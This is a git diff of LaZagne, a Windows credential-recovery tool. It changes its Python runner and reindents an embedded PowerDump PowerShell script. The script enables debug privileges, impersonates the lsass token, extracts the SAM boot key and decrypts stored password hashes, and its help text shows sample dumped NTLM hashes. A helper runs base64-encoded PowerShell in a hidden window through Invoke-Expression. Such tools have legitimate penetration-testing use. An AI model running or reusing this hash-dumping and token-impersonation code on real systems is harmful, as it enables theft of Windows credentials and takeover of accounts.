diff --git a/Windows/laZagne.py b/Windows/laZagne.py index 3c2d532b..deaa69f5 100755 --- a/Windows/laZagne.py +++ b/Windows/laZagne.py @@ -163,7 +163,7 @@ def write_in_file(result): # Human readable Json format prettyJson = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': ')) with open(constant.folder_name + os.sep + constant.file_name_results + '.json', 'w+') as f: - f.write(prettyJson) + f.write(prettyJson.encode('utf-8', errors='replace')) print '[+] File written: ' + constant.folder_name + os.sep + constant.file_name_results + '.json' if constant.output == 'txt' or constant.output == 'all': @@ -212,7 +212,7 @@ def error(self, message): self.print_help() sys.exit(2) -def runLaZagne(): +def runLaZagne(category_choosed='all'): # ------ Part used for user impersonation ------ @@ -220,6 +220,7 @@ def runLaZagne(): if not current_user.endswith('$'): constant.finalResults = {'User': current_user} print '\n\n########## User: %s ##########\n' % current_user + yield 'User', current_user set_env_variables() for r in runModule(category_choosed): yield r @@ -227,7 +228,6 @@ def runLaZagne(): # Check if admin to impersonate if ctypes.windll.shell32.IsUserAnAdmin() != 0: - # --------- Impersonation using tokens --------- sids = ListSids() @@ -243,6 +243,8 @@ def runLaZagne(): continue print '\n\n########## User: %s ##########\n' % user.encode('utf-8', errors='ignore') + yield 'User', user + constant.finalResults = {'User': user} for sid in impersonateUsers[user]: try: @@ -262,7 +264,7 @@ def runLaZagne(): # Launch module wanted for r in runModule(category_choosed, need_system_privileges=_need_system_privileges, cannot_be_impersonate_using_tokens=_cannot_be_impersonate_using_tokens): - pass + yield r rev2self() stdoutRes.append(constant.finalResults) diff --git a/Windows/lazagne/config/changePrivileges.py b/Windows/lazagne/config/changePrivileges.py index b2f1794a..48b4d035 100755 --- a/Windows/lazagne/config/changePrivileges.py +++ b/Windows/lazagne/config/changePrivileges.py @@ -246,6 +246,7 @@ def getSidToken(token_sid): windll.advapi32.OpenProcessToken(hProcess, tokenprivs, byref(hToken)) if hToken: if GetTokenSid( hToken ) == token_sid: + print print_debug('INFO', 'Using PID: ' + str(pid)) windll.kernel32.CloseHandle(hProcess) return hToken diff --git a/Windows/lazagne/config/powershell_execute.py b/Windows/lazagne/config/powershell_execute.py index 92426328..5c8048e9 100755 --- a/Windows/lazagne/config/powershell_execute.py +++ b/Windows/lazagne/config/powershell_execute.py @@ -4,37 +4,40 @@ import re def powershell_execute(script, function): + + output = "" + try: + script = re.sub("Write-Verbose ","Write-Output ", script, flags=re.I) + script = re.sub("Write-Error ","Write-Output ", script, flags=re.I) + script = re.sub("Write-Warning ","Write-Output ", script, flags=re.I) - script = re.sub("Write-Verbose ","Write-Output ", script, flags=re.I) - script = re.sub("Write-Error ","Write-Output ", script, flags=re.I) - script = re.sub("Write-Warning ","Write-Output ", script, flags=re.I) - - fullargs = ["powershell.exe", "-C", "-"] + fullargs = ["powershell.exe", "-C", "-"] - info = subprocess.STARTUPINFO() - info.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP - info.wShowWindow = sub.SW_HIDE - p = subprocess.Popen(fullargs, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True, shell=True) + info = subprocess.STARTUPINFO() + info.dwFlags = sub.STARTF_USESHOWWINDOW + info.wShowWindow = sub.SW_HIDE + p = subprocess.Popen(fullargs, startupinfo=info, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True, shell=True) - p.stdin.write("$base64=\"\""+"\n") - n = 25000 - b64_script = base64.b64encode(script) - tab = [b64_script[i:i+n] for i in range(0, len(b64_script), n)] - for t in tab: - p.stdin.write("$base64+=\"%s\"\n" % t) - p.stdin.flush() + p.stdin.write("$base64=\"\""+"\n") + n = 25000 + b64_script = base64.b64encode(script) + tab = [b64_script[i:i+n] for i in range(0, len(b64_script), n)] + for t in tab: + p.stdin.write("$base64+=\"%s\"\n" % t) + p.stdin.flush() - p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") - p.stdin.write("Invoke-Expression $d\n") - - p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % function) - p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") - p.stdin.write("Write-Host $b\n") + p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") + p.stdin.write("Invoke-Expression $d\n") + + p.stdin.write("\n$a=Invoke-Expression \"%s\" | Out-String\n" % function) + p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") + p.stdin.write("Write-Host $b\n") - # Get the result in base64 - output = "" - for i in p.stdout.readline(): - output += i - output = base64.b64decode(output) + # Get the result in base64 + for i in p.stdout.readline(): + output += i + output = base64.b64decode(output) + except: + pass return output \ No newline at end of file diff --git a/Windows/lazagne/softwares/browsers/ie.py b/Windows/lazagne/softwares/browsers/ie.py index 0c25591c..fc501125 100755 --- a/Windows/lazagne/softwares/browsers/ie.py +++ b/Windows/lazagne/softwares/browsers/ie.py @@ -110,7 +110,7 @@ def history_from_powershell(self): command=['powershell.exe', '/c', cmdline] info = subprocess.STARTUPINFO() - info.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP + info.dwFlags = sub.STARTF_USESHOWWINDOW info.wShowWindow = sub.SW_HIDE p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True) results, _ = p.communicate() @@ -225,7 +225,7 @@ def windows_vault_ie(self): command=['powershell.exe', '/c', cmdline] info = subprocess.STARTUPINFO() - info.dwFlags = sub.STARTF_USESHOWWINDOW | sub.CREATE_NEW_PROCESS_GROUP + info.dwFlags = sub.STARTF_USESHOWWINDOW info.wShowWindow = sub.SW_HIDE p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True) results, _ = p.communicate() diff --git a/Windows/lazagne/softwares/memory/keepass.py b/Windows/lazagne/softwares/memory/keepass.py index 50a235dc..78b3da93 100755 --- a/Windows/lazagne/softwares/memory/keepass.py +++ b/Windows/lazagne/softwares/memory/keepass.py @@ -120,10 +120,10 @@ def run(self, software_name = None): if values: pwdFound = [values] - try: - with libkeepass.open(values['Database'], password=values['Password'], keyfile=values['KeyFilePath']) as kdb: - pwdFound += kdb.to_dic() - except: - pass + # try: + with libkeepass.open(values['Database'], password=values['Password'], keyfile=values['KeyFilePath']) as kdb: + pwdFound += kdb.to_dic() + # except: + # pass return pwdFound \ No newline at end of file diff --git a/Windows/lazagne/softwares/memory/libkeepass/common.py b/Windows/lazagne/softwares/memory/libkeepass/common.py index 0fa5f83b..8706d137 100755 --- a/Windows/lazagne/softwares/memory/libkeepass/common.py +++ b/Windows/lazagne/softwares/memory/libkeepass/common.py @@ -209,7 +209,7 @@ def tell(self): import base64 import hashlib -from lxml import etree +from xml import etree def load_keyfile(filename): try: diff --git a/Windows/lazagne/softwares/memory/libkeepass/kdb4.py b/Windows/lazagne/softwares/memory/libkeepass/kdb4.py index 3e13dbf4..8cdd974f 100755 --- a/Windows/lazagne/softwares/memory/libkeepass/kdb4.py +++ b/Windows/lazagne/softwares/memory/libkeepass/kdb4.py @@ -117,53 +117,53 @@ def _read_header(self, stream): self.header_length = stream.tell() break - def _write_header(self, stream): - """Serialize the header fields from self.header into a byte stream, prefix - with file signature and version before writing header and out-buffer - to `stream`. + # def _write_header(self, stream): + # """Serialize the header fields from self.header into a byte stream, prefix + # with file signature and version before writing header and out-buffer + # to `stream`. - Note, that `stream` is flushed, but not closed!""" - # serialize header to stream - header = bytearray() - # write file signature - header.extend(struct.pack('powershell.exe -command $enc + Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d4afe1d16ae931b74c59d7e1c089c0::: + Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: + Carlos:1001:aad3b435b51404eeaad3b435b51404ee:62096e5ed83a10cf61cf79cc36738519::: + HomeGroupUser$:1003:aad3b435b51404eeaad3b435b51404ee:951b271a4b7d1dd7a25e3d9c9f87341e::: + Executes the compressed command generated by the function and dumps the windows hashes from the registry. + + .NOTES + PowerDump script by Kathy Peters, Josh Kelley (winfang) and Dave Kennedy (ReL1K) + Privilage Escalation from http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx + #> + $sign = @" using System; using System.Runtime.InteropServices; public static class priv { - [DllImport("shell32.dll")] - public static extern bool IsUserAnAdmin(); + [DllImport("shell32.dll")] + public static extern bool IsUserAnAdmin(); } "@ - $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru - function ElevatePrivs - { + $adminasembly = Add-Type -TypeDefinition $sign -Language CSharp -PassThru + function ElevatePrivs + { $signature = @" - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct TokPriv1Luid - { - public int Count; - public long Luid; - public int Attr; - } + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct TokPriv1Luid + { + public int Count; + public long Luid; + public int Attr; + } - public const int SE_PRIVILEGE_ENABLED = 0x00000002; - public const int TOKEN_QUERY = 0x00000008; - public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; - public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; + public const int SE_PRIVILEGE_ENABLED = 0x00000002; + public const int TOKEN_QUERY = 0x00000008; + public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; + public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; - public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; - public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; - public const UInt32 TOKEN_DUPLICATE = 0x0002; - public const UInt32 TOKEN_IMPERSONATE = 0x0004; - public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; - public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; - public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; - public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; - public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); - public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | - TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | - TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | - TOKEN_ADJUST_SESSIONID); + public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; + public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; + public const UInt32 TOKEN_DUPLICATE = 0x0002; + public const UInt32 TOKEN_IMPERSONATE = 0x0004; + public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; + public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; + public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; + public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; + public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); + public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID); - public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; - public const int ANYSIZE_ARRAY = 1; + public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; + public const int ANYSIZE_ARRAY = 1; - [StructLayout(LayoutKind.Sequential)] - public struct LUID - { - public UInt32 LowPart; - public UInt32 HighPart; - } + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public UInt32 HighPart; + } - [StructLayout(LayoutKind.Sequential)] - public struct LUID_AND_ATTRIBUTES { - public LUID Luid; - public UInt32 Attributes; - } + [StructLayout(LayoutKind.Sequential)] + public struct LUID_AND_ATTRIBUTES { + public LUID Luid; + public UInt32 Attributes; + } - public struct TOKEN_PRIVILEGES { - public UInt32 PrivilegeCount; - [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] - public LUID_AND_ATTRIBUTES [] Privileges; - } + public struct TOKEN_PRIVILEGES { + public UInt32 PrivilegeCount; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] + public LUID_AND_ATTRIBUTES [] Privileges; + } - [DllImport("advapi32.dll", SetLastError=true)] - public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int - SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); + [DllImport("advapi32.dll", SetLastError=true)] + public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int + SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); - [DllImport("advapi32.dll", SetLastError=true)] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadToken( - IntPtr PHThread, - IntPtr Token - ); + [DllImport("advapi32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool SetThreadToken( + IntPtr PHThread, + IntPtr Token + ); - [DllImport("advapi32.dll", SetLastError=true)] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool OpenProcessToken(IntPtr ProcessHandle, - UInt32 DesiredAccess, out IntPtr TokenHandle); + [DllImport("advapi32.dll", SetLastError=true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken(IntPtr ProcessHandle, + UInt32 DesiredAccess, out IntPtr TokenHandle); - [DllImport("advapi32.dll", SetLastError = true)] - public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); - [DllImport("kernel32.dll", ExactSpelling = true)] - public static extern IntPtr GetCurrentProcess(); + [DllImport("kernel32.dll", ExactSpelling = true)] + public static extern IntPtr GetCurrentProcess(); - [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] - public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, - ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); + [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] + public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, + ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); "@ - $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) - if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { - Write-Warning "Run the Command as an Administrator" - Break - } + $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) + if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { + Write-Warning "Run the Command as an Administrator" + Break + } - Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv - $adjPriv = [AdjPriv.AdjPriv] - [long]$luid = 0 + Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv + $adjPriv = [AdjPriv.AdjPriv] + [long]$luid = 0 - $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid - $tokPriv1Luid.Count = 1 - $tokPriv1Luid.Luid = $luid - $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED + $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $luid + $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED - $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) - - [IntPtr]$htoken = [IntPtr]::Zero - $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) - - - $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES - $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + [IntPtr]$htoken = [IntPtr]::Zero + $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) + + + $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES + $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) - if(-not($retVal)) { - [System.Runtime.InteropServices.marshal]::GetLastWin32Error() - Break - } + if(-not($retVal)) { + [System.Runtime.InteropServices.marshal]::GetLastWin32Error() + Break + } - $process = (Get-Process -Name lsass) - #$process.name - [IntPtr]$hlsasstoken = [IntPtr]::Zero - $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) + $process = (Get-Process -Name lsass) + #$process.name + [IntPtr]$hlsasstoken = [IntPtr]::Zero + $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) - [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero - $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) - - $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) - - if(-not($retVal)) { - [System.Runtime.InteropServices.marshal]::GetLastWin32Error() - } - } - function LoadApi - { - $oldErrorAction = $global:ErrorActionPreference; - $global:ErrorActionPreference = "SilentlyContinue"; - $test = [PowerDump.Native]; - $global:ErrorActionPreference = $oldErrorAction; - if ($test) - { - # already loaded - return; - } + [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero + $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) + + $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) + + if(-not($retVal)) { + [System.Runtime.InteropServices.marshal]::GetLastWin32Error() + } + } + function LoadApi + { + $oldErrorAction = $global:ErrorActionPreference; + $global:ErrorActionPreference = "SilentlyContinue"; + $test = [PowerDump.Native]; + $global:ErrorActionPreference = $oldErrorAction; + if ($test) + { + # already loaded + return; + } $code = @" using System; using System.Security.Cryptography; @@ -175,325 +198,325 @@ def launch_powerdump(self): using System.Text; namespace PowerDump { - public class Native - { - [DllImport("advapi32.dll", CharSet = CharSet.Auto)] - public static extern int RegOpenKeyEx( - int hKey, - string subKey, - int ulOptions, - int samDesired, - out int hkResult); - [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] - extern public static int RegEnumKeyEx( - int hkey, - int index, - StringBuilder lpName, - ref int lpcbName, - int reserved, - StringBuilder lpClass, - ref int lpcbClass, - out long lpftLastWriteTime); - [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] - extern public static int RegQueryInfoKey( - int hkey, - StringBuilder lpClass, - ref int lpcbClass, - int lpReserved, - out int lpcSubKeys, - out int lpcbMaxSubKeyLen, - out int lpcbMaxClassLen, - out int lpcValues, - out int lpcbMaxValueNameLen, - out int lpcbMaxValueLen, - out int lpcbSecurityDescriptor, - IntPtr lpftLastWriteTime); - [DllImport("advapi32.dll", SetLastError=true)] - public static extern int RegCloseKey( - int hKey); - } - } // end namespace PowerDump - public class Shift { - public static int Right(int x, int count) { return x >> count; } - public static uint Right(uint x, int count) { return x >> count; } - public static long Right(long x, int count) { return x >> count; } - public static ulong Right(ulong x, int count) { return x >> count; } - public static int Left(int x, int count) { return x << count; } - public static uint Left(uint x, int count) { return x << count; } - public static long Left(long x, int count) { return x << count; } - public static ulong Left(ulong x, int count) { return x << count; } - } + public class Native + { + [DllImport("advapi32.dll", CharSet = CharSet.Auto)] + public static extern int RegOpenKeyEx( + int hKey, + string subKey, + int ulOptions, + int samDesired, + out int hkResult); + [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] + extern public static int RegEnumKeyEx( + int hkey, + int index, + StringBuilder lpName, + ref int lpcbName, + int reserved, + StringBuilder lpClass, + ref int lpcbClass, + out long lpftLastWriteTime); + [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] + extern public static int RegQueryInfoKey( + int hkey, + StringBuilder lpClass, + ref int lpcbClass, + int lpReserved, + out int lpcSubKeys, + out int lpcbMaxSubKeyLen, + out int lpcbMaxClassLen, + out int lpcValues, + out int lpcbMaxValueNameLen, + out int lpcbMaxValueLen, + out int lpcbSecurityDescriptor, + IntPtr lpftLastWriteTime); + [DllImport("advapi32.dll", SetLastError=true)] + public static extern int RegCloseKey( + int hKey); + } + } // end namespace PowerDump + public class Shift { + public static int Right(int x, int count) { return x >> count; } + public static uint Right(uint x, int count) { return x >> count; } + public static long Right(long x, int count) { return x >> count; } + public static ulong Right(ulong x, int count) { return x >> count; } + public static int Left(int x, int count) { return x << count; } + public static uint Left(uint x, int count) { return x << count; } + public static long Left(long x, int count) { return x << count; } + public static ulong Left(ulong x, int count) { return x << count; } + } "@ - $provider = New-Object Microsoft.CSharp.CSharpCodeProvider - $dllName = [PsObject].Assembly.Location - $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters - $assemblies = @("System.dll", $dllName) - $compilerParameters.ReferencedAssemblies.AddRange($assemblies) - $compilerParameters.GenerateInMemory = $true - $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) - if($compilerResults.Errors.Count -gt 0) { - $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } - } - } - $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); - $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); - $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); - $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); - $odd_parity = @( - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 - ); - function sid_to_key($sid) - { - $s1 = @(); - $s1 += [char]($sid -band 0xFF); - $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); - $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); - $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); - $s1 += $s1[0]; - $s1 += $s1[1]; - $s1 += $s1[2]; - $s2 = @(); - $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; - $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; - return ,((str_to_key $s1),(str_to_key $s2)); - } - function str_to_key($s) - { - $key = @(); - $key += [Shift]::Right([int]($s[0]), 1 ); - $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); - $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); - $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); - $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); - $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); - $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); - $key += $([int]($s[6]) -band 0x7F); - 0..7 | %{ - $key[$_] = [Shift]::Left($key[$_], 1); - $key[$_] = $odd_parity[$key[$_]]; - } - return ,$key; - } - function NewRC4([byte[]]$key) - { - return new-object Object | - Add-Member NoteProperty key $key -PassThru | - Add-Member NoteProperty S $null -PassThru | - Add-Member ScriptMethod init { - if (-not $this.S) - { - [byte[]]$this.S = 0..255; - 0..255 | % -begin{[long]$j=0;}{ - $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; - $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; - } - } - } -PassThru | - Add-Member ScriptMethod "encrypt" { - $data = $args[0]; - $this.init(); - $outbuf = new-object byte[] $($data.Length); - $S2 = $this.S[0..$this.S.Length]; - 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { - $i = ($i+1) % $S2.Length; - $j = ($j + $S2[$i]) % $S2.Length; - $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; - $a = $data[$_]; - $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; - $outbuf[$_] = ($a -bxor $b); - } - return ,$outbuf; - } -PassThru - } - function des_encrypt([byte[]]$data, [byte[]]$key) - { - return ,(des_transform $data $key $true) - } - function des_decrypt([byte[]]$data, [byte[]]$key) - { - return ,(des_transform $data $key $false) - } - function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) - { - $des = new-object Security.Cryptography.DESCryptoServiceProvider; - $des.Mode = [Security.Cryptography.CipherMode]::ECB; - $des.Padding = [Security.Cryptography.PaddingMode]::None; - $des.Key = $key; - $des.IV = $key; - $transform = $null; - if ($doEncrypt) {$transform = $des.CreateEncryptor();} - else{$transform = $des.CreateDecryptor();} - $result = $transform.TransformFinalBlock($data, 0, $data.Length); - return ,$result; - } - function Get-RegKeyClass([string]$key, [string]$subkey) - { - switch ($Key) { - "HKCR" { $nKey = 0x80000000} #HK Classes Root - "HKCU" { $nKey = 0x80000001} #HK Current User - "HKLM" { $nKey = 0x80000002} #HK Local Machine - "HKU" { $nKey = 0x80000003} #HK Users - "HKCC" { $nKey = 0x80000005} #HK Current Config - default { - throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" - } - } - $KEYQUERYVALUE = 0x1; - $KEYREAD = 0x19; - $KEYALLACCESS = 0x3F; - $result = ""; - [int]$hkey=0 - if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) - { - $classVal = New-Object Text.Stringbuilder 1024 - [int]$len = 1024 - if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, - [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) - { - $result = $classVal.ToString() - } - else - { - Write-Error "RegQueryInfoKey failed"; - } - [PowerDump.Native]::RegCloseKey($hkey) | Out-Null - } - else - { - Write-Error "Cannot open key"; - } - return $result; - } - function Get-BootKey - { - $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); - $b = new-object byte[] $($s.Length/2); - 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} - $b2 = new-object byte[] 16; - 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} - return ,$b2; - } - function Get-HBootKey - { - param([byte[]]$bootkey); - $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); - $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); - $k = Get-Item HKLM:\SAM\SAM\Domains\Account; - if (-not $k) {return $null} - [byte[]]$F = $k.GetValue("F"); - if (-not $F) {return $null} - $rc4key = 